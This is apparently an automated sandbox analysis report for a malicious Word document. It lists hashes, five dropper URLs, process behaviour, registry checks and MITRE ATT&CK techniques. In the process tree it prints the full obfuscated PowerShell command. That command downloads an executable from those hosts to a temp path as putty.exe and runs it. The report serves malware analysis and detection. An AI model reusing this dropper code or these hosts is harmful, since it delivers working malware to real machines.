a27260a1fe5c659000bca59b786be94ae93ee51494d4d455fef197b6857c8de1

General

Target

3ba00216edcab9b42377acc49ba1baae_JaffaCakes118.doc
Size

265KB
MD5

3ba00216edcab9b42377acc49ba1baae
SHA1

8acf04cc03b1a81b96d6793af777f8a3abc10c79
SHA256

a27260a1fe5c659000bca59b786be94ae93ee51494d4d455fef197b6857c8de1
SHA512

bd80bcb056854f1bb8d52d5edcab54d31f0dd7d4cc7a219efa9c01a618f1c869bb8ff71d47a456ebfeb2e678f369e7a0c12fda51fea3f8672361b4218239bf35
SSDEEP

3072:0khgqkhgACSQKaSx+SbtYqS4fvS7GQRbSVuz1QzC9klhxztsZ5QPwYTXjdOSrv:0CwQK3RpVS7G4SVuz1QzLhxztsZGPw0

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://www.hopeintlschool.org/FQ9AFMoF8GZKwyVvg_GC

exe.dropper

http://antigua.aguilarnoticias.com/nYZZcHxoYdA

exe.dropper

http://teatrul-de-poveste.ro/wp-content/themes/wcFvmRjqfPbdA

exe.dropper

http://mywedphoto.ru/SPcBpzOvD6_bogkPa

exe.dropper

http://epl.tmweb.ru/QBSLvgDEuAXTt_ETNrGAVki

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	3244	4108	powershell.exe	WINWORD.EXE

Blocklisted process makes network request 4 IoCs

Processes:

powershell.exe

flow pid process

79 3244 powershell.exe
82 3244 powershell.exe
87 3244 powershell.exe
89 3244 powershell.exe

flow	pid	process
79	3244	powershell.exe
82	3244	powershell.exe
87	3244	powershell.exe
89	3244	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

4108 WINWORD.EXE
4108 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

3244 powershell.exe
3244 powershell.exe
3244 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3244 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

4108 WINWORD.EXE
4108 WINWORD.EXE
4108 WINWORD.EXE
4108 WINWORD.EXE
4108 WINWORD.EXE
4108 WINWORD.EXE
4108 WINWORD.EXE

pid	process
4108	WINWORD.EXE
4108	WINWORD.EXE

pid	process
3244	powershell.exe
3244	powershell.exe
3244	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3244	powershell.exe

pid	process
4108	WINWORD.EXE
4108	WINWORD.EXE
4108	WINWORD.EXE
4108	WINWORD.EXE
4108	WINWORD.EXE
4108	WINWORD.EXE
4108	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

WINWORD.EXE

description	pid	process	target process
PID 4108 wrote to memory of 3244	4108	WINWORD.EXE	powershell.exe
PID 4108 wrote to memory of 3244	4108	WINWORD.EXE	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\3ba00216edcab9b42377acc49ba1baae_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4108

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell $idIgw8 = '$zMbv9jt0l = new-obj15464.589749099ect -com15464.589749099obj15464.589749099ect wsc15464.589749099ript.she15464.589749099ll;$ILTY2 = new-object sys15464.589749099tem.net.web15464.589749099client;$rEAav7Xix = new-object random;$YiwXfglRS = \"15464.589749099h15464.589749099t15464.589749099t15464.589749099p15464.589749099://www.hopeintlschool.org/FQ9AFMoF8GZKwyVvg_GC,15464.589749099h15464.589749099t15464.589749099t15464.589749099p15464.589749099://antigua.aguilarnoticias.com/nYZZcHxoYdA,15464.589749099h15464.589749099t15464.589749099t15464.589749099p15464.589749099://teatrul-de-poveste.ro/wp-content/themes/wcFvmRjqfPbdA,15464.589749099h15464.589749099t15464.589749099t15464.589749099p15464.589749099://mywedphoto.ru/SPcBpzOvD6_bogkPa,15464.589749099h15464.589749099t15464.589749099t15464.589749099p15464.589749099://epl.tmweb.ru/QBSLvgDEuAXTt_ETNrGAVki\".spl15464.589749099it(\",\");$iWybG3KDH = $rEAav7Xix.nex15464.589749099t(1, 65536);$jPBYO2 = \"c:\win15464.589749099dows\temp\put15464.589749099ty.exe\";for15464.589749099each($MOrNXe14G in $YiwXfglRS){try{$ILTY2.dow15464.589749099nlo15464.589749099adf15464.589749099ile($MOrNXe14G.ToS15464.589749099tring(), $jPBYO2);sta15464.589749099rt-pro15464.589749099cess $jPBYO2;break;}catch{}}'.replace('15464.589749099', $MGFnZb);$Wj3yxlHrU = '';iex($idIgw8);
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3244

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4160 --field-trial-handle=2304,i,6987730730348465820,3913273227385401271,262144 --variations-seed-version /prefetch:8
1⤵
PID:3412

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_olum2kmy.hzs.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\Temp\putty.exe

Filesize
4KB

MD5
309551a365a82ac70e2444282910abb0

SHA1
2e9a2b786a6fe89d9cda955779c576621c00c47e

SHA256
4884bf213e74a407579ff44ae16fc3dcd9c058d2d1088e89e39a86a0b41a672e

SHA512
7524f5f36ada6608506edf70f09eda191e6257c2c53a607190be42894c6a237b07bafae15af49d7a00ca11e36f41f13fd41f3e255cd893f127b82e900cb5e5c3

Download Submit
C:\Windows\Temp\putty.exe

Filesize
74KB

MD5
21d964a53ac18573902a9ea972bbf6ae

SHA1
2484c690596b68871a413d36a2a83b6067f95d24

SHA256
e90b6c9bd57a4aa7a4e0af2cd7603f4064545398a2c1bbeeb5b1ea1d8402ead6

SHA512
9357cc59aa5f559099a4a60f5eca740d44bb75a7b8485c8d6a16939eafa9200c0ecbf9e96c10ae17353ba61422a567e678ddb20aa57b346f4fa3e579928d9a92

Download Submit
memory/3244-45-0x00007FFC5D0F0000-0x00007FFC5D2E5000-memory.dmp

Filesize
2.0MB

Download
memory/3244-78-0x00007FFC5D0F0000-0x00007FFC5D2E5000-memory.dmp

Filesize
2.0MB

Download
memory/3244-55-0x000001B1CD300000-0x000001B1CD322000-memory.dmp

Filesize
136KB

Download
memory/4108-42-0x00007FFC5D0F0000-0x00007FFC5D2E5000-memory.dmp

Filesize
2.0MB

Download
memory/4108-5-0x00007FFC1D170000-0x00007FFC1D180000-memory.dmp

Filesize
64KB

Download
memory/4108-7-0x00007FFC5D0F0000-0x00007FFC5D2E5000-memory.dmp

Filesize
2.0MB

Download
memory/4108-9-0x00007FFC5D0F0000-0x00007FFC5D2E5000-memory.dmp

Filesize
2.0MB

Download
memory/4108-10-0x00007FFC1AD40000-0x00007FFC1AD50000-memory.dmp

Filesize
64KB

Download
memory/4108-12-0x00007FFC5D18D000-0x00007FFC5D18E000-memory.dmp

Filesize
4KB

Download
memory/4108-13-0x00007FFC5D0F0000-0x00007FFC5D2E5000-memory.dmp

Filesize
2.0MB

Download
memory/4108-16-0x00007FFC1AD40000-0x00007FFC1AD50000-memory.dmp

Filesize
64KB

Download
memory/4108-20-0x00007FFC5D0F0000-0x00007FFC5D2E5000-memory.dmp

Filesize
2.0MB

Download
memory/4108-21-0x00007FFC5D0F0000-0x00007FFC5D2E5000-memory.dmp

Filesize
2.0MB

Download
memory/4108-35-0x00007FFC5D0F0000-0x00007FFC5D2E5000-memory.dmp

Filesize
2.0MB

Download
memory/4108-36-0x00007FFC5D0F0000-0x00007FFC5D2E5000-memory.dmp

Filesize
2.0MB

Download
memory/4108-0-0x00007FFC1D170000-0x00007FFC1D180000-memory.dmp

Filesize
64KB

Download
memory/4108-43-0x00007FFC5D0F0000-0x00007FFC5D2E5000-memory.dmp

Filesize
2.0MB

Download
memory/4108-44-0x00007FFC5D0F0000-0x00007FFC5D2E5000-memory.dmp

Filesize
2.0MB

Download
memory/4108-8-0x00007FFC1D170000-0x00007FFC1D180000-memory.dmp

Filesize
64KB

Download
memory/4108-6-0x00007FFC5D0F0000-0x00007FFC5D2E5000-memory.dmp

Filesize
2.0MB

Download
memory/4108-4-0x00007FFC5D0F0000-0x00007FFC5D2E5000-memory.dmp

Filesize
2.0MB

Download
memory/4108-1-0x00007FFC5D18D000-0x00007FFC5D18E000-memory.dmp

Filesize
4KB

Download
memory/4108-2-0x00007FFC1D170000-0x00007FFC1D180000-memory.dmp

Filesize
64KB

Download
memory/4108-3-0x00007FFC1D170000-0x00007FFC1D180000-memory.dmp

Filesize
64KB

Download
memory/4108-79-0x00007FFC5D0F0000-0x00007FFC5D2E5000-memory.dmp

Filesize
2.0MB

Download
memory/4108-80-0x00007FFC5D0F0000-0x00007FFC5D2E5000-memory.dmp

Filesize
2.0MB

Download
memory/4108-81-0x00007FFC5D0F0000-0x00007FFC5D2E5000-memory.dmp

Filesize
2.0MB

Download
memory/4108-82-0x00007FFC5D0F0000-0x00007FFC5D2E5000-memory.dmp

Filesize
2.0MB

Download
memory/4108-83-0x00007FFC5D0F0000-0x00007FFC5D2E5000-memory.dmp

Filesize
2.0MB

Download
memory/4108-100-0x00007FFC1D170000-0x00007FFC1D180000-memory.dmp

Filesize
64KB

Download
memory/4108-101-0x00007FFC1D170000-0x00007FFC1D180000-memory.dmp

Filesize
64KB

Download
memory/4108-103-0x00007FFC1D170000-0x00007FFC1D180000-memory.dmp

Filesize
64KB

Download
memory/4108-102-0x00007FFC1D170000-0x00007FFC1D180000-memory.dmp

Filesize
64KB

Download
memory/4108-104-0x00007FFC5D0F0000-0x00007FFC5D2E5000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads